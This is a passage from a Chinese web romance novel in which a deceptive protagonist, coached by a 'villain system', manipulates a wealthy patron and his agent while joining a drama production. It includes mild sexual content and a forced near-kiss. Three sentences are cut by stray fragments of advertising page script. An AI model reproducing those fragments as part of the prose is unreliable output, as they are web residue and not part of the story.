叶寒枝的声音轻到不可闻,落在顾砚礼眼中却如同惊雷,炸得他浑身动弹不得。 “可以……操、我。” 这两个字一出,顾砚礼几乎要从椅子上弹跳起来推开叶寒枝,可青年可怜的声音依旧响在耳侧,让他不得不强迫自己冷静。 冷静…… 叶寒枝却没打算给顾砚礼冷静的机会。 顾砚礼一言不发,叶寒枝的侧脸贴在顾砚礼的胸膛,喃喃着,“顾先生,我只想做待在笼子里的金丝雀,不想离开这里去接触外面危险的世界。” 顾砚礼意识到自己暂时似乎无法改变叶寒枝,也许是幼年可怜的经历,也许是初入娱乐圈遇到了恶心的人,而自己的出现无疑等同于黑暗中的阳光。 或许对叶寒枝来说,自己是一个拯救者,叶寒枝对自己有了雏鸟情节依赖着,也坚信自己会保护他,所以现在宁可钻进华丽的笼子里也不愿意飞出这里看看外面的世界。 顾砚礼说不清自己什么心情,他只知道自己恍惚地答应了叶寒枝的话,甚至还想着日后慢慢改变叶寒枝的想法。 怀里的青年的眉眼在灯光下朦胧,有些看不清楚,顾砚礼不知道自己看到的那一闪而过的笑意是不是错觉,但这些都不重要。 因为叶寒枝手指紧紧地揪着他的衣服,声音却轻颤着,“可是顾先生,没有你我可能活不下去的。” 顾砚礼一脚踏入不见底的深渊之中,并不知道未来有什么在等着他。 8. 金丝雀8 进组那天是顾砚礼送叶寒枝去的,虽然在剧组里待不了多久,但房间也是顾砚礼这边让助理订的,只差没把叶寒枝是资源咖这几个字写在脸上。 叶寒枝才不在乎这些,只要住得地方舒心,外面的人把他骂出花来他都不在意。 「那你还和顾砚礼说你怕被骂……」肥啾嘀咕,「你又在演他,啾。」 「人生如戏嘛,我都遵从自己的小白花人设是不是?」 肥啾:「……」 它颇为怜悯地看了一眼顾砚礼,又摇了摇头,「人原本这个角色至少还真的把顾砚礼当朋友过,你是从头到尾没有一句真话啊。」 「那怎么叫没有真话呢?」叶寒枝不服,「我说的真话好多呢,我说我小时候过得不好那就是真话。」 「是真话,可你说出来难道不是为了让他同情你吗?」 叶寒枝在心底轻哼了两声,他抬起眼,见坐在副驾驶的季肖透过反光镜冷冷地看着他。 叶寒枝唇角牵了牵,手指捏紧旁边顾砚礼的衣角,靠近顾砚礼,声音低低地,“顾先生,您到时候会来探班吗?” 开车的沈助理耳朵微微支起来,他还是第一次见顾砚礼这么重视他人,让他控制不住自己的八卦之心。 “嗯。”顾砚礼握上叶寒枝的手,“会。” “那你探班好不好?”叶寒枝眷恋地攀着顾砚礼的肩,嘟囔着,“这样就不会有人骂我了。” “好。” 季肖:“……” 他压下自己心头的怒气,心想顾砚礼真是没救了,但下一刻,他在后视镜里对上了叶寒枝因为挑衅而上扬的眼尾,眼中明晃晃地写着,「你能把我怎么样?」 好气。 季肖面无表情地和夏艺榕发消息。 「这几天的行程潇潇和阿荣会跟你去,我会在影视城这边照看你的师弟。」 打下师弟两个字的时候,季肖想,他一定要揭穿叶寒枝的真面目,让顾砚礼脑子清醒点。 夏艺榕几乎秒回:「肖哥!你送寒枝去影视城了?我这会儿没事我也可以去啊!!!」 季肖:「?」 寒枝?夏艺榕什么时候和叶寒枝这么熟了,还叫得这么亲密,他们见过?什么时候见过的? 「算了,肖哥你什么时候回来?过两天我去影视城探班我们一起回啊。」夏艺榕又回到。 「探班?」 探谁的班? 「对啊,不过我先不和寒枝说……」 后面的话季肖没再看了,他深深地吐出一口气来,觉得这个世界完蛋了,怎么一个两个都被叶寒枝那张看起来美好的面目骗了啊? 只有他一个人还清醒着,他一定要拆穿叶寒枝的真面目。 想到这里,季肖又回头看了一眼,见顾砚礼在低声和叶寒枝说如果有人欺负他一定要及时说…… 季肖:“……”没救了,彻底没救了。 车子在酒店门口停下,季肖拖了叶寒枝的行李箱似笑非笑,“顾总就不用进去了吧?被人看到可不太好。” “……”顾砚礼看了一眼叶寒枝。 叶寒枝小声说,“顾先生,那我……我和肖哥进去了。” 顾砚礼心头莫名有些失落,尽管他很清楚如果不想被人议论他是叶寒枝的金主的话,不进去更好。 叶寒枝捏了捏顾砚礼的手指,笑容灿烂,“我走了,顾先生再见!” 微凉柔软的手指远去,顾砚礼垂眸看着叶寒枝捏过的手指,进组……明明很高兴。 ……明明,进组就很高兴。 没有多少不舍,也没有拥抱,什么都没有。 顾砚礼抬起头看着叶寒枝的背影,直到进入酒店大门,叶寒枝都没有回头过。 …… 季肖带叶寒枝去见了导演,导演是个五十多岁的男人,看着挺严肃,姓刘,他上下打量了叶寒枝一番说,“外形演浮云没问题,演技怎么样我就不清楚了。” 说到这里,他看向季肖,“既然你和顾总塞进来的人,就算演技不行那我也没办法做什么,不过到时候被骂他要承受得住才行。” 毕竟是大ip,原著粉自然很多,这个男三号也是很多人的意难平。 导演说的话很直白且算不上好听,就差没说资源咖别连累我这样的话了,季肖挑了挑眉瞥了一眼叶寒枝,却见叶寒枝淡淡地笑了笑说,“刘导若是不信任我的演技可以现在就演一场,不满意我可以退组绝无二话。” 季肖在心底轻嗤,这人还真以为演戏和他扮演小白花这么容易? “不满意退组?说的倒是轻巧,到这个时候我去哪里再找一个流云来……”导演嘀咕着却道,“那就演一段,就演流云被江柔怀疑是内鬼那一段。” 江柔就是女主角,这一段说的是主角团行踪泄露几人都受了伤,后进来的流云自然被怀疑是内鬼。 叶寒枝说行。 流云是盲人,年幼时瞎了眼,所以眼上常年覆盖着一条白绫,很少取下,但他同样是个温柔的人,即便是不看眼睛,也能从他脸上细微的波动中感受到他的情绪。 叶寒枝静静地站在那里,身上的气质却已经缓缓地变了,这样的变化让刘导微微直起来身体。 【流云神色极淡,面无波动,手缓缓地用纱布去包扎手臂上的伤口,却又微微侧着脸,似在倾听主角的问话。 流云并不是个很擅长为自己辩解的人,听见江柔的质疑,也只是轻声说,“若真是我,我不会这么大费周章,还与你们共进退。” “谁知道你是不是为了取得我们信任。”江柔冷笑,“我们可不能让一个来历不明的人一直跟着我们。” 其他三人纷纷附和,最终明青说,“你如何证明自己不是泄露行踪之人?” 流云包扎伤口的手微微一顿,随即抬头,他看不见,却能感受到四人对他的排斥,最终只道,“你们要我证明自己不是泄露行踪之人,没有做过的事要怎么证明?若是你们对我怀疑,我自行离去便是。” “休想,谁知道你是不是心虚想逃,我们不能放你离开!” 流云微微侧身,用剑柄挡住那一剑,脸上的情绪似是叹息有似是无奈,最终化为平静,“方才才与魔教之人打斗过,你们精疲力尽,打不过我。” “这不就你的目的吗?” 前面并肩作战的同伴拔刀相向,流云把剑收回,没有再说话。】 没穿戏服没化妆,甚至就在酒店的走廊,青年脸上的表情平静,唇角的弧度却带着些微的涩然,就像活生生的流云。 这段戏相比起来还算平静,流云是个看似清冷实则温柔的人,细微的情绪变化极多,极考验演绎者的面部表情,导演本着刁难叶寒枝的态度,此刻眼里却闪着光。 他冲过来握住叶寒枝的手,震声道,“我就知道,顾总和季肖的眼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 光肯定不会出错,你很好,特别好!” 季肖:“……”虽然他也觉得演得很好,但刘导这变脸速度是不是太快了? 叶寒枝露出羞涩的笑意,“谢谢刘导夸奖,那……” 叶寒枝吐出一口气问,“我会被骂吗?我特别害怕被人骂的。” “我看谁敢骂你!”刘导叉腰,“我就在这站着,谁骂你我与谁为敌!” 季肖:“……” “对了,下午剧本围读。”刘导说,“晚上武打训练,你这会儿好好休息,养足精神。” 叶寒枝含笑着点了点头。 刘导雄赳赳气昂昂的走了,叶寒枝看着他的背影,又淡淡地收回视线来。 季肖在一旁冷笑,“没看出来你还真有两把刷子。” 叶寒枝无辜道,“什么?” 季肖冷哼一声,拖着行李箱,“走吧。” 叶寒枝的房间在顶楼,季肖扫了一眼套房,又在心底叹息着顾砚礼果然是堕落了,他看向叶寒枝,却见叶寒枝在解外套的扣子。 季肖:“!!” 他猛地一把按住叶寒枝的手,“你想做什么?” 叶寒枝莫名:“太热了我脱外套。” 季肖:“……” 他默默地松手,“你换,我先出去。” 叶寒枝扬了扬眉,却拽住了季肖的领带,不好的回忆一下子袭来,季肖绷紧了身体没贸然推开叶寒枝。 随着叶寒枝的靠近,那股香又钻入了鼻尖,季肖抿直唇冷冷地看着叶寒枝,“你想做什么?” “肖哥。”叶寒枝的眼中闪着难以捉摸的笑意,“你刚才难不成以为我会脱衣服勾引你?” 被说中了心思,季肖差点没跳起来。 叶寒枝另一只手轻柔地抚上季肖的下巴,声音也柔,“肖哥是不是太高看自己了?” 季肖脑子一热,“你——” “你看看你。”叶寒枝的手指从下巴移到季肖的喉结,最后停在心脏处,他感受着季肖急速跳动的心脏,轻笑,“你没有顾砚礼那样的家世,不过一个小小的经纪人,脸不如顾砚礼英俊就算了身材也比不上他,我怎么会看上你这样的人呢?” 说到这里,他倏地收紧了拽着领带的手,看着季肖变得无比难看的脸色,眼中泛着冷光,“一而再再而三地打扰我,真的让我很讨厌啊……还是说,你也控制不住自己喜欢我?” 季肖被这些话刺激得心跳难以冷静,他的双手猛地扣上叶寒枝的肩,一张脸凑近叶寒枝,看着面前这张漂亮的脸冷笑,“你这么有自信不如试试?” “试什么?和你试?”叶寒枝推了下季肖的脸,脸上带着嘲弄之色,“要试,那也该是和顾砚礼试才对,毕竟他可是我的金主。” “呵……顾砚礼做到的我也能做到。” 季肖加重了力道低下头来,看起来像是要亲叶寒枝,叶寒枝偏了偏头有些犯恶心,他推不动季肖一时又摸不到东西,只能抬起手来啪的一声给了季肖一巴掌。 “季肖,你真贱。”叶寒枝轻嘲,“怎么?你还真喜欢上我了?” 这一巴掌叶寒枝用了十足的力道,季肖被打得脑袋偏了过去,他的舌尖抵了抵脸颊,带着冷意的目光落在叶寒枝身上,但是下一刻,季肖的手机震动起来。 这道铃声如同催命符一般,他掏出手机,看见了顾砚礼的名字,这个名字一下子让他清醒过来。 9. 金丝雀9 顾砚礼的电话,这个电话来得太及时了,季肖重重地滚动了一下喉结,他真是…… “季肖。”顾砚礼的声音透过听筒传过来,“你现在和寒枝在一起吗?” 季肖没忍住看了叶寒枝一眼,叶寒枝依旧似笑非笑地看着他,他呼吸有些沉,低声说,“在,刚送他回来,之前去见了刘导。” “他的手机落我车上了,我现在给他送过来。”顾砚礼微皱了下眉,他听着季肖的声音……怎么怪怪的? “好,我下去拿。”季肖说。 顾砚礼挂了电话,他摩挲着叶寒枝的手机,他并没有看叶寒枝手机的想法,但刚才夏艺榕给叶寒枝发的消息就在屏幕上,他不小心看到了。 叶寒枝和夏艺榕什么时候那么熟的,已经在叫名字了……顾砚礼抿紧唇,叶寒枝还叫着他顾先生。 他应该赶紧给叶寒枝把助理送过来,只是这么多天还没找到他觉得合适的,让季肖和叶寒枝待一块他总觉得不太行。 可究竟哪里不行顾砚礼也说不出来,他深深地吐出一口气来,看向外面忽然开口,“等一下。” 沈助理踩了刹车顺着顾砚礼的视线看过去,看见旁边的树上有一只猫在犹豫着不敢下来。 …… “手机。”季肖试图平静和叶寒枝说话,“他说你的手机落车上了。” 叶寒枝摸了摸口袋,果然没摸到,他点了点头,“我下去拿。” “我去。”季肖淡淡道,“你等会要去围读剧本。” 叶寒枝哦了声,“也是。” 季肖的视线落在叶寒枝脸上,刚才发生了那样的事,叶寒枝还打了他一巴掌,可现在这个人依旧是一副没事人的样子。 他摸了摸脸,沉默下来,其实在被打之前他先闻到的是叶寒枝扇风而来的香。 他到底……做了什么啊? 而且甚至对方根本没放在心上,这让季肖莫名有些恼怒,他想,这样不行,不能这样轻易被叶寒枝牵着鼻子走,回到以前那个稳重的季肖……可他从来不是很稳重的人。 季肖从顾砚礼那里把叶寒枝的手机接了过来,却见顾砚礼神色复杂地看着他,季肖莫名,“做什么?” “你这脸……”顾砚礼指了指季肖的脸,“怎么还有五个手指印,是不是得罪人被打了?” 季肖:“……” 想起按着叶寒枝那一幕,再见顾砚礼他莫名觉得心虚,还有一种对不起顾砚礼的错觉……但他之前问过顾砚礼,叶寒枝和顾砚礼并不是真的金主包养关系,所以他没有心虚的理由。 更何况,他根本不喜欢叶寒枝,他只是被气到了而已。 迎着顾砚礼带了两分揶揄的目光,季肖神色淡定,“被一只野猫挠了一爪子。” 顾砚礼轻挑了挑眉,“刚才我还在路上捡到了一只小野猫。” 季肖这才发现顾砚礼怀里抱着一只脏兮兮的猫,但能看出是白色的,乖巧地趴在顾砚礼怀里。 很脏,但顾砚礼完全没有嫌弃的样子,在大学的时候季肖就常常撞见顾砚礼带学校的流浪猫去绝育,有一次一只老流浪猫钻进了他们的宿舍,安静地趴在顾砚礼的床上。 顾砚礼说那只流浪猫快要死了,不过是寿终正寝,他说话的时候轻轻地摸着流浪猫的脑袋,眼中却带着极深的悲伤。 顾砚礼是一个很温柔的人,对家人好,对朋友好,对小动物好,对不认识的陌生人也从来不挂脸,甚至有很多人说顾砚礼就像一个完美的假人。 这样的人,就算真的知道叶寒枝在骗自己,或许也不会把叶寒枝怎么样,可这样的人,也不应该被欺骗。 这一瞬间,季肖只想告诉顾砚礼叶寒枝的真面目,告诉了顾砚礼说不定什么都结束了,他也不会再被叶寒枝轻易激怒了。 季肖张了张嘴,“顾……” “照顾好寒枝。”顾砚礼说,“说话的时候稍微注意一下语气,不要对他太凶了。” 季肖:“??” “现在我要送猫咪去检查。”顾砚礼升起车窗,“快上去吧,别让他被人欺负。” “……”被,被人欺负? 顾砚礼说什么?叶寒枝被人欺负?那个人才不会吃亏! 季肖气势汹汹地拿着手机往酒店去。 …… 不过一个下午加晚上,叶寒枝已经和剧组的人混熟了,他嘴巴甜,一口一个哥一个姐一个老师的喊,就算大家都心知肚明他是被顾砚礼塞进来的资源咖,表面上也没人说什么。 毕竟要在一个剧组一起待一段时间,表面上的友好总是要维系的,更何况娱乐圈……有金主的人太多了,不过是叶寒枝的金主不太一样,是从来不传绯闻的顾砚礼。 但下面的工作人员免不得背后八卦蛐蛐一番,叶寒枝也不介意,反正当演员也好,明星也好,免不得会被人当做茶余饭后的谈资。 更何况…… “以后我就是大明星了。”叶寒枝捧着女主角买的奶茶喝了一口,笑眯眯道。 季肖看不惯他那么自信,“你不是不想成为大明星吗?” “对啊,那样真的很累诶。”叶寒枝看向季肖,眼中带着无辜,“可是我就要一炮而红了怎么办?而且顾砚礼说了我只需要演戏就好了,其他的事情都不用做。” “……”季肖冷笑,“原著粉骂死你。” “黑红也是红。”叶寒枝笑眯眯的。 季肖:“……”他有时候真的很想撕开叶寒枝的脸看看后面到底是什么,这个人嘴里到底哪一句话是真的哪一句话是假的,还是说全都是假话。 叶寒枝站起身来,居高临下地睨视着季肖,“倒是你肖哥,和我在一起这么久,你可不要越陷越深呐。” 季肖的脸又沉了下来。 “毕竟我可不会喜欢你。”叶寒枝唇角上扬,“这句话是真的,给你的告诫哦。” 季肖看着叶寒枝的背影,狠狠地吸了口奶茶,他真是疯了,他真是…… 叶寒枝丢垃圾的时候听见转角有小小的八卦声,他对八卦并不感兴趣,打算离开的时候听见了自己的名字。 “你们说,叶寒枝真的被顾砚礼包养了吗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?” “是真的吧……要不然季肖怎么会放着夏艺榕不带,来跟叶寒枝这么一个从没演过戏的新人?这也不是资源咖都说不过去了。” “还说顾砚礼说娱乐圈唯一洁身自好的男人,私底下还不是包养小明星,说不定不止这一个呢。” “不是,你们没看那叶寒枝嘴甜的模样,又长得一副乖巧小白花的样子,是我我也喜欢啊。” “以前还真有顾总为小明星出头的新闻,不过现在好像都搜不到了。” 叶寒枝看着空空如也的奶茶杯子,听着旁边的工作人员小声八卦,兴趣盎然,「肥啾,那个给小明星出头的新闻是不是就是白月光?」 「应该是吧。」肥啾不确定,「啾。」 「什么叫应该?」叶寒枝不爽,「你作为系统这些资料没有?没有不能调查清楚吗?」 肥啾:「嗯嗯。」 嗯个头。 「奶茶很好喝。」叶寒枝把杯子丢进垃圾桶说,「以前从来没喝过,以后也可以多买。」 肥啾眨了眨黑豆眼,它从来没有喝过?奶茶是什么味的,不过它是机器不能尝试人类的食物,倒是可以搜索一下看看。 晚上是武打训练。 季肖本以为叶寒枝会找借口偷懒不去,谁知道他练得很认真,吊威亚时也没有露出任何不适。 导演看得很放心,就算叶寒枝是资源咖,只要认真拍戏不作妖他就喜欢,毕竟以前他不是没有遇到过那种迟到早退全剧组等他一个人,甚至没什么演技还小牌大耍的资源咖,那种他真的恨不得把人打包丢出剧组。 剧组的男演员从威亚上下来,休息的时候和季肖闲聊,“小叶看起来没什么舞蹈功底,还挺努力的。” 季肖微笑着说,“他是新人,还得和蒋老师你们学习。” 蒋冰哈哈哈笑道,“互相学习互相学习。” 叶寒枝下来时气息不稳,但也不是承受不了,年少的时候逃跑也能一口气跑好几条街,现在这样的日子对他来说,真的挺好。 当反派比他以前过得好多了啊,叶寒枝想,这么轻松的工作到底哪里找。 季肖把帕子甩到叶寒枝脑袋上,“自己擦擦。” 叶寒枝也不和季肖计较,他胡乱擦了几下头发,握着手机坐到一旁点开了绿泡泡。 顾砚礼发了张瘦了吧唧的白猫给叶寒枝看。 「很可爱,像你。」 叶寒枝盯着那瘦了吧唧的猫,有些嫌弃,这么丑不拉几的,哪里像他了? 「顾先生哪里拍的?」 顾砚礼秒回,「路上捡的。」 下一秒顾砚礼的消息又发过来,「在剧组怎么样?有没有人欺负你?」 叶寒枝盯着顾砚礼的消息,眯了眯眼,面不改色地打字。 「没有人欺负我,大家都很好相处,我还被导演夸了,都挺好的。」 「嗯,我就知道你很棒。」 叶寒枝往上划了一下,看了一眼那只猫后打字。 「可是顾先生,刚分开不久,我就想你了。」 10. 金丝雀10 顾砚礼抱着猫咪坐在椅子上,心脏砰砰直跳,他抿直嘴角想要压下这种古怪的感觉,却在漆黑的屏幕上看见了自己上翘的嘴角。 他……也想叶寒枝。 这种感觉越来越微妙了。 顾砚礼挠了挠猫咪的下巴,“明天我们去复查的时候看看寒枝好不好?” 顾砚礼想了想又拍了张照片给叶寒枝发过去,发完照片后,他莫名有一种做贼心虚的感觉,这让他倏地一下把手机扣在桌子上,后又察觉这似乎有些欲盖弥彰,正想拿手机的时候,帮佣敲了敲书房的门声音传进来。 “顾先生,猫咪的东西已经收拾好了,您现在要去看看吗?” 顾砚礼收回手,嗯了一声,“我知道了,你下班吧。” 被帮佣这一打岔,顾砚礼也不觉得自己给叶寒枝发的照片有什么了,他镇定自若地把手机打开,看见了叶寒枝的新消息回复。 …… 叶寒枝点开顾砚礼发的照片,轻挑着眉,「你看顾砚礼发的这张照片,光线打得好啊,把摸猫咪的手照得又长又好看,瞧着手背上的青筋真是很有性张力……你说他是不是想故意勾引我啊?」 肥啾:「你是不是想多了,我觉得顾砚礼没那个意思。」 叶寒枝哦了声,老实说,他也觉得顾砚礼那副模样不像是会刻意给手凹造型勾引他的样子,大概就是凑巧罢了。 他打下“顾先生真的很喜欢猫咪”这句话,发送后把手机丢给季肖,在季肖冷冰冰的目光中起身。 肥啾有些不明白:「你为什么这么努力?不是不喜欢吃苦吗?」 「还好吧,算不上吃苦,最重要的是……」叶寒枝说,「学会打架也不算坏事,以后有人欺负我的话,说不定还派得上用场。 肥啾在心里嘀咕谁能欺负叶寒枝,一边又震惊,「你不会打架?」 「……」叶寒枝神色淡淡,「关你什么事?少废话。」 到底是第一天,导演没有让演员们太累,十点就收工回酒店休息。 和叶寒枝一起进电梯的几个人眼瞅着叶寒枝按了顶层楼的按钮,互相对视一眼,又默默地收回视线来。 等到那几个人下了电梯以后,季肖没忍住说,“你还真是半点不避嫌。” “避嫌?”叶寒枝有些茫然,“避什么嫌?” 季肖:“……” 叮的一声,顶层到了,叶寒枝踏出电梯,伸了个懒腰,“肖哥,大家都知道我是被顾总塞进来的,我和顾总有不正当关系,欲盖弥彰的多假啊?” 季肖:“……呵呵,不正当关系,顾砚礼知道你这么形容你们之间的关系吗?” “那不然怎么形容?难道不是你们把我塞进来的?”叶寒枝把手机丢到床上,“那你去外面说一声,看人信不信?” “你……”季肖脑子又热了,“我们把你塞进来的,难道我和你也有不正当关系?” 叶寒枝瞥了一眼季肖没说话,但季肖却骤然响起自己中午被叶寒枝激怒失去理智后做的事,他面无表情。 叶寒枝的手卷起衣角,又看了一眼季肖,“肖哥,你怎么还在我这里?我要洗澡了,难道你要留下来给我洗澡吗?” 季肖:“……” 他唇动了动,却在看见叶寒枝脸上的表情后,冷着一张脸出去。 “记得带门。”叶寒枝喊了一声。 泡在暖融融的水中,晚上的疲劳都散去大半。 手机振动起来,叶寒枝扫了一眼,发现是顾砚礼的视频。 他眨了眨眼,伸出手接了视频。 那边的顾砚礼穿着深灰色的睡衣,戴着平光眼镜,抱着猫,看见叶寒枝时一呆,几乎是有些慌乱地移开视线,“你在……在泡澡?” 叶寒枝的声音很软,“晚上武打训练,出了一身汗,很累,泡个澡会舒服些。” 顾砚礼迟疑了片刻,又把目光移回来,叶寒枝那边水雾氤氲,镜头有一分模糊,却又能看到叶寒枝泡澡时微红的脸和精致的锁骨。 顾砚礼耳朵有些红,他努力把视线集中在叶寒枝的脸上,“捡的小猫还没起名字。” 叶寒枝眨了眨眼,他轻轻擦了下镜头,“顾先生是想让我帮忙取名字吗?” 镜头一擦,那份朦胧消失,顾砚礼正好看到叶寒枝睫毛上凝着的水珠掉下来,睫毛湿润着翘起来。 顾砚礼莫名有些口干,他含糊地嗯了声,借着喝水的动作掩饰自己的不自然,“可以吗?会不会太麻烦你了?” 叶寒枝轻笑,“我可以和顾先生一起,我不擅长取名这种事情,顾先生取了我可以给你提个意见什么的。” 安静的猫咪把脸凑过来,抵着手机的镜头,一张脸完全占据手机,叶寒枝看不见顾砚礼,只能看到猫咪肉粉的软垫子试图扒拉手机。 顾砚礼:“……” 手机几乎被猫咪霸占,让他看不见叶寒枝,他动作轻柔地把猫抱回来,“不要打扰哥哥谈事情好吗?这可是你的终身大事。” 叶寒枝被终身大事四个字逗笑。 顾砚礼盯着叶寒枝的笑容怔了一下,不知道是不是错觉,他总觉得叶寒枝刚才的笑和以前的笑不一样。 刚才笑得……像是真正的叶寒枝一样。 这样的想法占据着顾砚礼的脑海,让他看着叶寒枝移不开视线,只道,“起名就是很重要的事,这个名字会伴随它的一生,所以的确是终身大事。” 叶寒枝收敛了笑意,“顾先生说的对,所以顾先生觉得他叫什么好?” “吱……吱吱?” 叶寒枝:“……” 顾砚礼轻咳一声,“不,我不是那个意思。” “我知道。”叶寒枝莞尔,“不过叫吱吱它真的不会认为自己是老鼠吗?” “吱吱很可爱。”顾砚礼看着叶寒枝的脸,认真说,“老鼠的叫声难听多了。” 叶寒枝往下滑了一寸,眨巴着眼,“也是,不过顾先生不考虑另起名吗?” “那叫富贵?”顾砚礼对着叶寒枝举猫爪子,神色很严肃,“或者旺财?” 叶寒枝:“……” 他有些一言难尽,“顾先生起名的水平……真高。” 顾砚礼听出叶寒枝话中的揶揄,心却又扑通扑通地跳起来,他说,“以前跟着姥姥姥爷在乡下的时候,他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们养的猫狗就叫富贵旺财。” 叶寒枝唔了声。 “要不还是叫吱吱?”顾砚礼试探性开口。 “叫栖息吧。”叶寒枝说。 “七夕?” “嗯,栖息,以后不再颠沛流离。” 顾砚礼这才知道是栖息并非七夕,他唇动了动,“拣尽寒枝不肯栖。” 叶寒枝没听清,“什么?” “没什么。”顾砚礼温和沉静地笑了笑,“那就叫栖息。” 叶寒枝点了点头,他握着手机从浴池里站起来,鼻尖有些红,“顾先生,我泡完澡了,要挂了吗?” 顾砚礼有些不舍,他问,“明天我能带栖息来看你吗?” “嗯?” “我明天带它再去做检查。”顾砚礼说,“经过影视城,所以想带它来看看你。” 叶寒枝笑道,“可以啊。” 顾砚礼见他头发还湿着,便道,“那先挂了,你去吹头发,然后早点休息。” “好。”叶寒枝答应着。 “晚安。”顾砚礼的声音很温柔,“寒枝。” “顾先生,晚安。” 视频挂了。 顾砚礼有些怅然,他把栖息放到猫窝里,喃喃着,“他给你起名了,以后他就是你的小爸爸了知道吗?” 栖息喵呜一声,圆溜溜的眼睛看着顾砚礼。 “栖息。”顾砚礼挠了挠猫咪的下巴,“睡觉吧。” …… 叶寒枝昏昏欲睡之际,忽然听见肥啾小声说,「寒枝,网友们扒出来是你饰演流云了,你进酒店的照片被拍了,网上都在骂你不知好歹不自量力呢……啾。」 叶寒枝哦了一声,睡意褪去,兴致勃勃地问,「怎么骂的?念给我听听?」 肥啾:「……」 「快念哪。」 肥啾不情不愿地念。 「什么糊逼都敢来蹭流云的热度了?也不看看自己长什么样。」 「来人,上图,让我们把这糊逼喷出剧组。」 「这么久就放出一张高糊图,看来他也知道自己长得见不得人吧,说不定还是整容怪,现在这些糊逼到底是谁在捧。」 叶寒枝撑着脸当做睡前故事听得津津有味,听见糊照的时候他眉梢一扬,“这些狗仔就拍我糊照?有没有点职业道德?就不能放张高清大图给他们骂吗?到时候骂错人怎么办?” 肥啾:「……」 叶寒枝往床上一躺,闭上眼,毫无心理负担地睡着了。 肥啾任劳任怨地给叶寒枝关了灯,蹲在床头柜上,手机亮了亮,是顾砚礼的电话,肥啾看着电话亮了一下又飞快地暗了下去,最后留下一句消息。 「不要看手机,网上的事情我们会处理。」 不要看手机,那你发这条消息的意义是?肥啾给叶寒枝的手机关了机。 而且怎么说呢,肥啾把自己团成一小团缩到叶寒枝旁边,虽然是反派系统,可看着被叶寒枝轻易拿捏的顾砚礼,它颇有几分同情。 不过有这样的宿主真是安心啊,只要宿主不要轻易动心想要留在这些世界,那真是格外完美。 11. 金丝雀11 等叶寒枝起床后,肥啾告诉他昨天晚上的事情已经解决了。 叶寒枝茫然:“什么事情?” 肥啾:「你被骂的事情,星河娱乐贴出了你的高清□□照片,说新进来的小演员很有灵气什么的,让大家先给你一个机会电视剧播放之后再审判,啾。」 叶寒枝打开手机,“然后呢?” 「……啾。」肥啾叹气,「你不是都看到了吗?」 星河娱乐官网下,高赞第一是—— “一看我就知道这是我素未谋面的老婆,该死的星河娱乐,原来是你们把他偷了藏起来的。” “谁懂银白发+害羞表情对我的冲击力,这也太好看了,先不提演技不演技,他就是个木头我也喜欢。” “书粉表示他长得确实漂亮,颜值是ok的,但流云并不是只有颜值,希望演技也过关。” “看这脸我还是有所期待的,总之星河娱乐好好把关!既然是小新人的首秀,肯定要做好吧。” “所以微博号呢?星河娱乐,速速把我新老婆的微博号放出来。” 下面是星河娱乐的回复,“谢谢大家对于小寒枝的喜欢,我们小寒枝暂时还没有开通微博号的打算哦~” “???” 这栋楼里跟了数百条问号。 肥啾看叶寒枝翻了半天脸上也没什么特别的表情,忍不住问,「怎么了?不喜欢?」 「没什么。」叶寒枝淡淡道,「他们能把人捧得高,也能摔得很惨,我不需要他们喜欢我。」 肥啾点了点头认同,「也是,水能载舟亦能覆舟嘛……我还以为你会对自己一夜爆红感到高兴。」 「理所当然的事。」 肥啾:「……」太自信了吧。 「不过是看脸而已,他们若是知道我是什么样的人就不会喜欢了,你说我需要对他们的喜欢回应吗?」叶寒枝说,「对于无关的人,我没有那么多心力去对付。」 肥啾唏嘘,喜欢上叶寒枝真的需要一个大心脏啊,这个人能轻易把别人的感情玩弄于鼓掌之中。 …… 上午是拍定妆照。 叶寒枝换上戏服和头套之后就是化妆。 给叶寒枝化妆的化妆师声音很温柔,“根据流云的人设妆容会很清淡,所以我不会过多动你的脸哦。” 叶寒枝含笑说好。 “有什么意见也可以提。” “我没意见的。”叶寒枝说,“专业的事情转给专业的人,我不懂化妆,你决定就好。” 化妆师笑道,“那好,你皮肤很好,长得也很好看,过浓的妆反而会破坏掉你本身的特性……其实你给我的感觉也很像流云。” 叶寒枝睫毛微闪,“你也是浮生的书粉吗?” “嗯。”化妆师一边给叶寒枝修眉毛一边回答,“我看到你的第一眼就知道,你会演好他的。” “我会努力的。”叶寒枝谦逊着,“谢谢信任。” 从化妆开始之后,化妆师几乎不怎么说话了,一心一意地给叶寒枝上妆,给叶寒枝的唇上了色后,化妆师彻底松了口气说,“可以了,出去吧。” 叶寒枝嗯了声,“谢谢。” 他提了提飘逸的戏服,往外走。 季肖在一旁打电话,听见脚步声抬起头来,随即他握着手机说到一半的话硬生生咽了回去,面前的白衣少年清冷出尘,眉眼之中却又藏着几分未名的温柔,格外勾人视线。 剧组其他人也晃了晃神,随即一片惊叹声响起。 即便一句话没说,但他站在那里,就已经是流云本身。 季肖缓缓挂断了电话,压了压眉,即便他知道叶寒枝是什么样的人也不得不承认这人长得好看,天生就该是吃这碗饭的人。 更何况…… 季肖按了按极速跳动的心脏,呼吸缓了缓,这实在是太糟糕了…… 叶寒枝拍完定妆照后抱着剧本坐在一旁发呆。 季肖瞥了叶寒枝好几眼问,“你没话想说吗?” 叶寒枝看向季肖,“说什么?” “上热搜的事。”季肖说,“没看吧?” “啊,看了啊。” 季肖:“……” 他注意着叶寒枝的脸色,“那你现在是不是很难受?” 叶寒枝:“?” 他扬了扬眉,“我很难受的话你要安慰我?” 季肖微微弯腰,压低了声音说,“其实你被骂不是意外,是有人故意引导的。” 叶寒枝抬头,他在脑子里转了一圈自己是不是有得罪过的人,没有多少迟疑地开口,“李导?” 季肖嗯了声,“看来你知道是谁。” “知道,我还在他剧组待过两天,演了个露脸的小炮灰。”叶寒枝伸了个懒腰,伸手去推季肖,“你离我远些。” 季肖却距离叶寒枝更近了些,“娱乐圈里肮脏事很多,顾砚礼之前本来没打算过多搭理那个李导,不过现在的话他似乎不会轻易放过这个人了。” 叶寒枝没动,冷眼看着季肖,“距离我这么近,你到底想说什么?” “你……” “顾总请剧组的大家喝奶茶了!”棚外忽然传来沈助理的声音。 